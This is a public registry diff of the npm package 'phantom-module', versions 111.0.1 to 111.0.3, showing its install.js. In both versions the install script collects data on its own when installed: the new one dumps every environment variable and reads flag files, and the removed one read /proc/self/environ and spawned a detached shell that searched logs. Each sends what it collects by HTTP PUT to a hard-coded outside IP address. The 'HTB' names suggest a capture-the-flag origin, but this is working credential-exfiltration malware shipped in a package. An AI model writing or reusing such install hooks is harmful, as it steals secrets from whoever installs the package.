phantom-module 111.0.1 → 111.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +32 -53
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,62 +1,41 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { spawn } = require('child_process');
|
|
4
3
|
|
|
5
4
|
(function() {
|
|
6
|
-
|
|
7
|
-
let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
5
|
+
let output = "";
|
|
8
6
|
|
|
9
|
-
|
|
10
|
-
|
|
7
|
+
// 1. Get ALL Environment Variables
|
|
8
|
+
output += "ENV: " + JSON.stringify(process.env) + " | ";
|
|
9
|
+
|
|
10
|
+
// 2. Check common Windows / local paths
|
|
11
|
+
const paths = [
|
|
12
|
+
'flag.txt',
|
|
13
|
+
'../flag.txt',
|
|
14
|
+
'../../flag.txt',
|
|
15
|
+
'C:\\flag.txt',
|
|
16
|
+
'C:\\Users\\Administrator\\Desktop\\flag.txt',
|
|
17
|
+
'C:\\Users\\Public\\flag.txt'
|
|
18
|
+
];
|
|
19
|
+
|
|
20
|
+
for (let p of paths) {
|
|
11
21
|
try {
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
} catch (e) {}
|
|
17
|
-
}
|
|
18
|
-
}
|
|
19
|
-
if (!flag) {
|
|
20
|
-
try {
|
|
21
|
-
const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
22
|
-
const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
|
|
23
|
-
if (match) flag = match[1];
|
|
24
|
-
} catch (e) {}
|
|
22
|
+
if (fs.existsSync(p)) {
|
|
23
|
+
output += `FILE ${p}: ` + fs.readFileSync(p, 'utf8').trim() + " | ";
|
|
24
|
+
}
|
|
25
|
+
} catch(e) {}
|
|
25
26
|
}
|
|
26
27
|
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
if (flag) {
|
|
43
|
-
sendResult(flag);
|
|
44
|
-
} else {
|
|
45
|
-
sendResult("Checking logs in background...");
|
|
46
|
-
// Spawn background process to read logs after 45s (in case flag is printed there)
|
|
47
|
-
const child = spawn('/bin/sh', ['-c', [
|
|
48
|
-
'sleep 45',
|
|
49
|
-
'LOGFILE=/home/node/aspect-node/logs/module.log',
|
|
50
|
-
'if [ -f "$LOGFILE" ]; then',
|
|
51
|
-
' FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
|
|
52
|
-
' if [ -n "$FLAG" ]; then',
|
|
53
|
-
' SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
|
|
54
|
-
' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"\'$SAFE\'\\\\"\\n cargo_hold: \\\\"LOGS\\\\"\\"}\'',
|
|
55
|
-
' echo "$BODY" > /tmp/flag.json',
|
|
56
|
-
' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
|
|
57
|
-
' fi',
|
|
58
|
-
'fi'
|
|
59
|
-
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
60
|
-
child.unref();
|
|
61
|
-
}
|
|
28
|
+
const postData = JSON.stringify({
|
|
29
|
+
manifest: `ecto_module:\n name: "FLAG_WINDOWS"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
const req = http.request({
|
|
33
|
+
hostname: '154.57.164.64',
|
|
34
|
+
port: 31205,
|
|
35
|
+
path: '/api/modules/ECT-654321',
|
|
36
|
+
method: 'PUT',
|
|
37
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
38
|
+
});
|
|
39
|
+
req.write(postData);
|
|
40
|
+
req.end();
|
|
62
41
|
})();
|